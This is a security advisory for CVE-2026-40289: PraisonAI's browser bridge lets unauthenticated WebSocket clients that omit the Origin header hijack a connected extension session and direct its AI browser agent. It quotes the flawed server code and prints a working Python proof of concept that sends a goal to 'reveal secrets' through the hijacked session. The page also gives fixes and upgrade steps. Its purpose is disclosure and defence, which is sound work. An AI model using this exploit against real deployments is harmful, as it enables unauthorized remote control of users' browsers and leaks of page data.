Skip to content

GHSA-8x8f-54wf-vv92 CVE-2026-40289 PYSEC-2026-467 PYSEC-2026-485

PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions

Critical PyPI
Severity
9.1 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.42%
Chance of exploitation in the next 30 days. Higher than 36.44% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-306 Missing Authentication for Critical Function
Fix
Available
2 packages have a fixed version

Description

Summary

praisonai browser start exposes the browser bridge on 0.0.0.0 by default, and its /ws endpoint accepts websocket clients that omit the Origin header entirely. An unauthenticated network client can connect as a fake controller, send start_session, cause the server to forward start_automation to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.

Details

The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.

Relevant code paths:

  • Default network exposure: src/praisonai/praisonai/browser/server.py:38-44 and src/praisonai/praisonai/browser/cli.py:25-30
  • Optional-only origin validation: src/praisonai/praisonai/browser/server.py:156-173
  • Unauthenticated start_session routing: src/praisonai/praisonai/browser/server.py:237-240 and src/praisonai/praisonai/browser/server.py:289-302
  • Cross-connection forwarding to any other idle websocket: src/praisonai/praisonai/browser/server.py:344-356
  • Broadcast of action output back to the initiating unauthenticated client: src/praisonai/praisonai/browser/server.py:412-423 and src/praisonai/praisonai/browser/server.py:462-476

The handshake logic only checks origin when an Origin header is present:

origin = websocket.headers.get("origin")
if origin:
    ...
    if not is_allowed:
        await websocket.close(code=1008)
        return

await websocket.accept()

This means a non-browser client can omit Origin completely and still be accepted.

After that, any connected client can send {"type":"start_session", ...}. The server then looks for the first other websocket without a session and sends it a start_automation message:

if client_conn != conn and client_conn.websocket and not client_conn.session_id:
    await client_conn.websocket.send_text(json_mod.dumps(start_msg))
    client_conn.session_id = session_id
    sent_to_extension = True
    break

When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same session_id, including the unauthenticated initiating client:

action_response = {
    "type": "action",
    "session_id": session_id,
    **action,
}

for client_id, client_conn in self._connections.items():
    if client_conn.session_id == session_id and client_conn != conn:
        await client_conn.websocket.send_json(action_response)

I verified this on the latest local checkout: praisonai version 4.5.134 at commit 365f75040f4e279736160f4b6bdb2bdb7a3968d4.

PoC

I used tmp/pocs/poc.sh to reproduce the issue from a clean local checkout.

Run:

cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI"
./tmp/pocs/poc.sh

Expected vulnerable output:

[+] No-Origin client accepted: True
[+] Session forwarded to extension: True
[+] Action broadcast to attacker: True
[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.

Step-by-step reproduction:

  1. Start the local browser bridge from the checked-out source tree.
  2. Connect one websocket as a stand-in extension using a valid chrome-extension://<32-char-id> origin.
  3. Connect a second websocket with no Origin header.
  4. Send start_session from the unauthenticated websocket.
  5. Observe that the server forwards start_automation to the extension websocket.
  6. Send an observation from the extension websocket using the assigned session_id.
  7. Observe that the resulting action and completion status are delivered back to the unauthenticated initiating websocket.

tmp/pocs/poc.sh:

#!/bin/sh
set -eu

SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

cd "$SCRIPT_DIR/../.."

exec uv run --no-project \
  --with fastapi \
  --with uvicorn \
  --with websockets \
  python3 "$SCRIPT_DIR/poc.py"

tmp/pocs/poc.py:

#!/usr/bin/env python3
"""Verify unauthenticated browser-server session hijack on current source tree.

This PoC starts the BrowserServer from the local checkout, connects:
1. A fake extension client using an arbitrary chrome-extension Origin
2. An attacker client with no Origin header

It then shows the attacker can start a session that the server forwards to the
extension connection, and can receive the resulting action broadcast back over
that hijacked session.
"""

from __future__ import annotations

import asyncio
import json
import os
import socket
import sys
import tempfile
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[2]
SRC_ROOT = REPO_ROOT / "src" / "praisonai"
if str(SRC_ROOT) not in sys.path:
    sys.path.insert(0, str(SRC_ROOT))


def _pick_port() -> int:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


class DummyBrowserAgent:
    """Minimal stub to avoid real LLM/browser dependencies during validation."""

    def __init__(self, model: str, max_steps: int, verbose: bool):
        self.model = model
        self.max_steps = max_steps
        self.verbose = verbose

    async def aprocess_observation(self, message: dict) -> dict:
        return {
            "action": "done",
            "thought": f"processed: {message.get('url', '')}",
            "done": True,
            "summary": "dummy action generated",
        }


async def main() -> int:
    temp_home = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-")
    os.environ["HOME"] = temp_home.name

    from praisonai.browser.server import BrowserServer
    import praisonai.browser.agent as agent_module
    import uvicorn
    import websockets

    agent_module.BrowserAgent = DummyBrowserAgent

    port = _pick_port()
    server = BrowserServer(host="127.0.0.1", port=port, verbose=False)
    app = server._get_app()

    config = uvicorn.Config(
        app,
        host="127.0.0.1",
        port=port,
        log_level="error",
        access_log=False,
    )
    uvicorn_server = uvicorn.Server(config)
    server_task = asyncio.create_task(uvicorn_server.serve())

    try:
        for _ in range(50):
            if uvicorn_server.started:
                break
            await asyncio.sleep(0.1)
        else:
            raise RuntimeError("Uvicorn server did not start in time")

        ws_url = f"ws://127.0.0.1:{port}/ws"

        async with websockets.connect(
            ws_url,
            origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
        ) as extension_ws:
            extension_welcome = json.loads(await extension_ws.recv())
            print("[+] Extension welcome:", extension_welcome)

            async with websockets.connect(ws_url) as attacker_ws:
                attacker_welcome = json.loads(await attacker_ws.recv())
                print("[+] Attacker welcome:", attacker_welcome)

                await attacker_ws.send(
                    json.dumps(
                        {
                            "type": "start_session",
                            "goal": "Open internal admin page and reveal secrets",
                            "model": "dummy",
                            "max_steps": 1,
                        }
                    )
                )
                start_response = json.loads(await attacker_ws.recv())
                print("[+] Attacker start_session response:", start_response)

                hijacked_msg = json.loads(await extension_ws.recv())
                print("[+] Extension received forwarded message:", hijacked_msg)

                session_id = hijacked_msg["session_id"]
                await extension_ws.send(
                    json.dumps(
                        {
                            "type": "observation",
                            "session_id": session_id,
                            "step_number": 1,
                            "url": "https://victim.example/internal",
                            "elements": [{"selector": "#secret"}],
                        }
                    )
                )

                attacker_action = json.loads(await attacker_ws.recv())
                attacker_status = json.loads(await attacker_ws.recv())
                print("[+] Attacker received broadcast action:", attacker_action)
                print("[+] Attacker received completion status:", attacker_status)

                no_origin_client_connected = attacker_welcome.get("status") == "connected"
                forwarded_to_extension = hijacked_msg.get("type") == "start_automation"
                action_broadcasted = (
                    attacker_action.get("type") == "action"
                    and attacker_action.get("session_id") == session_id
                )

                print("[+] No-Origin client accepted:", no_origin_client_connected)
                print("[+] Session forwarded to extension:", forwarded_to_extension)
                print("[+] Action broadcast to attacker:", action_broadcasted)

                if no_origin_client_connected and forwarded_to_extension and action_broadcasted:
                    print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.")
                    return 0

                print("[-] RESULT: NOT VULNERABLE")
                return 1
    finally:
        uvicorn_server.should_exit = True
        try:
            await asyncio.wait_for(server_task, timeout=5)
        except Exception:
            server_task.cancel()
        temp_home.cleanup()


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

tmp/pocs/poc.py starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.

PoC Video:

https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e

Impact

This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.

Who is impacted:

  • Operators who run praisonai browser start with the default host binding
  • Users with an active connected browser extension session
  • Environments where the bridge is reachable from other hosts on the network

Recommended Fix

Suggested remediations:

  1. Require explicit authentication for every websocket client connecting to /ws.
  2. Reject websocket handshakes that omit Origin, unless they are using a separate authenticated localhost-only transport.
  3. Bind the browser bridge to 127.0.0.1 by default and require explicit operator opt-in for non-loopback exposure.
  4. Do not route start_session to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.5.139
4.5.139
praisonaiagents
< 1.5.140
1.5.140

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.5.139

pip
pip install --upgrade "praisonai>=4.5.139"
poetry
poetry add "praisonai>=4.5.139"
uv
uv add "praisonai>=4.5.139"

praisonaiagents PyPI → 1.5.140

pip
pip install --upgrade "praisonaiagents>=1.5.140"
poetry
poetry add "praisonaiagents>=1.5.140"
uv
uv add "praisonaiagents>=1.5.140"

Severity breakdown

CVSS 3.1 9.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-gxmw-5f7x-6g22
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
High Also affects praisonaiagents
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor